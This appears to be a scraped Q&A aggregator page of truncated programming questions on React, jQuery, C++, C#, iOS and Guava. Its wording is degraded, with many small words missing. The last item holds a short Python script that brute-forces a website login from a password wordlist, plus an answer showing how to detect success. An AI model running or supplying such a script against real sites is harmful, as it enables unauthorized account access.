Posts

Pass down router to child components via context -

i trying pass down router via context, can call navigateto on child react.component. purpose: need navigate away login when have successful login. strategy: 1. passdown router childe login component. 2. when login call navigateto('/startpage') on router passed down. i have on page/component contains run: router.run(routes, function (handler) { react.render(<handler/>, document.body); }); the following context setup: getchildcontext() { return { router: router }; } and childcontexttypes: childcontexttypes = { router: react.proptypes.object.isrequired }; and child itself: contexttypes = { router: react.proptypes.object.isrequired }; the context setup works fine if using "router: react.proptypes.string.isrequired" . note strings, when using object get: but when try use object errors: warning: failed context types: invalid context 'router' of type 'object' supplied 'navitemlink', ...

javascript - Foreach loop - hide/show based on click event jquery -

Image
i have list of records in view using foreach. now, want hide/show textbox based on click event on image. code following: @foreach (var dateitem in list) { <td style="width:6%;" id="hourstxt"> @html.textboxfor(modelitem => dateitem.hours, new { id = string.format("txthours"), style = "width:60%;" }) <img id=@( dateitem.project_id + "_" + dateitem.task_id + "_" + "c" + "_img") src="~/images/comment.png" onclick="getcomments(this.id);" /> <div id=@( dateitem.project_id + "_" + dateitem.task_id + "_" + "c") style="border:solid;display:none;"> <textarea id=@( dateitem.project_id + "_" + dateitem.task_id + "_" + "c" + "_text") style="position:absolute;" class="mycomment"></textarea> ...

Copy constructor C++ -

sorry struggling grasp copy constructors,i know why copy constructor invoked when call object in function value "op.return_value(op)< class operation{ public: int add(int x,int y){ *total=x+y; return (*total); } operation(){ cout<<"this constructor"<<endl; total=new int; } operation(const operation &op){ cout<<"this copy of start"<<endl; total=new int; *total=*op.total; } ~operation(){ cout<<"this end"; delete total; } int *total; int return_value(operation op){ return *total; } }; class child_operation:operation{ public: int sub(int x,int y){ *total=x-y; return(*total); } }; int main() { operation op; child_operation op1; cout<<op.add(5,6)<<endl<<op1.sub(6,5)<<endl; cout...

c# - .Net - Error when get unread mail from Gmail by IMAP protocol -

i'm trying unread mails gmail imap protocol. followed tuto : https://briancaos.wordpress.com/2012/04/24/reading-mails-using-imap-and-mailsystem-net/#comment-4999 , recieved many comments. when call messagecollection messages = mails.searchparse("unseen"); i got error message "index , length must refer location within string". call simple function, don't know what's wrong. more detail, here code snippet: public class mailrepository { private imap4client _client = null; public mailrepository(string mailserver, int port, bool ssl, string login, string password) { if (ssl) client.connectssl(mailserver, port); else client.connect(mailserver, port); client.login(login, password); } public ienumerable<message> getallmails(string mailbox) { return getmails(mailbox, "all").cast<message>(); } public ienumerable<message> getunread...

ios - Tableview and UIbutton simultaneously touchdownpress registered input order on which button is let loose first -

the following problem occurs in project, when pressed , hold backbutton (uibarbuttonitem) , tableview row. , letting go tableview row , followed letting go backbutton following error occurs: terminating app due uncaught exception 'nsrangeexception', reason: '*** -[__nsarraym objectatindex:]: index 1 beyond bounds [0 .. 0]'. i have figured out problem here tableview didselectrowatindexpath has wrong indexpath. case: uibarbuttonitem , tableview row pressed , hold simultaneously. in situation 1: uibarbuttonitem letting go , followed letting go tableview row. result: selector uibarbuttonitem called. (in case no error.) in situation 2: tableview row letting go , followed letting go uibarbuttonitem. result: selector uibarbuttonitem called , followed delegate methods of tableview. (in case error above occurs.) - (void)backbutton { self.itemlist = [self getolditem]; [self.tableview reloaddata]; } - (void)tableview:(uitableview *)tableview didselect...

java - How to iterate over LoadingCache google class -

i have loadingcache class this: loadingcache<integer, list<parent>> parents where parent class has id , description , home , , nickname i want print values inside parents object i tried like: parents.keys() but couldn't find method loodingcache object you can use method asmap() instead: /** * returns view of entries stored in cache thread-safe map. modifications made * map directly affect cache. */ concurrentmap<k, v> asmap();

How to know when you “log in” to a website using Python's Requests module? -

im doing brute force password script requests module. how can check when have succes login in website? url = sys.argv[1] user = sys.argv[2] file = sys.argv[3] varuser = sys.argv[4] varpass = sys.argv[5] passwords = open(file, "r").read().splitlines() p in passwords: payload = {varuser: user, varpass: p} requests.post(url, data=payload) this depends of website. in general, can search string in text of response: ... r = requests.post(url, data=payload) if 'welcome' in r.text: print('success!') break ...